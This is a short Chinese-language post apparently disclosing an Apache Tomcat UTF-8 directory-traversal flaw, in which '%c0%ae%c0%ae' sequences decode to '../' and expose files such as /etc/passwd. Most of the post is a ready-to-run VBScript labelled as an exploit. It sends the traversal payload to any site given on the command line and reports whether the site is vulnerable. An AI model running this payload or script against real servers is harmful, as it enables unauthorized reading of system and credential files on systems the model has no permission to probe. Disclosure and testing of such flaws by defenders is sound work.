Apache Tomcat UTF-8编码漏洞 's

作者：Safe3

呵呵，Apache Tomcat出了一个类似当年IIS url 编码的漏洞。既然CVE已经已经公布了，我也来发一下吧！

漏洞发生在Apache Tomcat处理UTF-8编码时，没有正确转换，从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式，使得可以遍历系统任意文件，包括

/etc/passwd等

触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的’allowLinking’ 和 ‘URIencoding’ 允许’UTF-8’选项

漏洞测试代码如下：

Dim strUrl,strSite  showB() Set Args = Wscript.Arguments  If Args.Count <> 1 Then ShowU() Else strSite=Args(0) End If  strUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"  Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "GET",strSite & strUrl, False objXML.SetRequestHeader "Referer", strSite  objXML.send()  if objXML.status=200 then wscript.echo("存在漏洞")  end if  Sub showB() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("Exploit Apache Tomcat UTF-8") .Echo("Code By Safe3") .Echo("+--------------------------=====================------------------------------+") End with End Sub Sub showU() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("用法:") .Echo(" cscript "&.ScriptName&" site") .Echo("例子:") .Echo(" cscript "&.ScriptName&" http://www.example.com >result.txt") .Echo("+--------------------------=====================------------------------------+") .Quit End with End Sub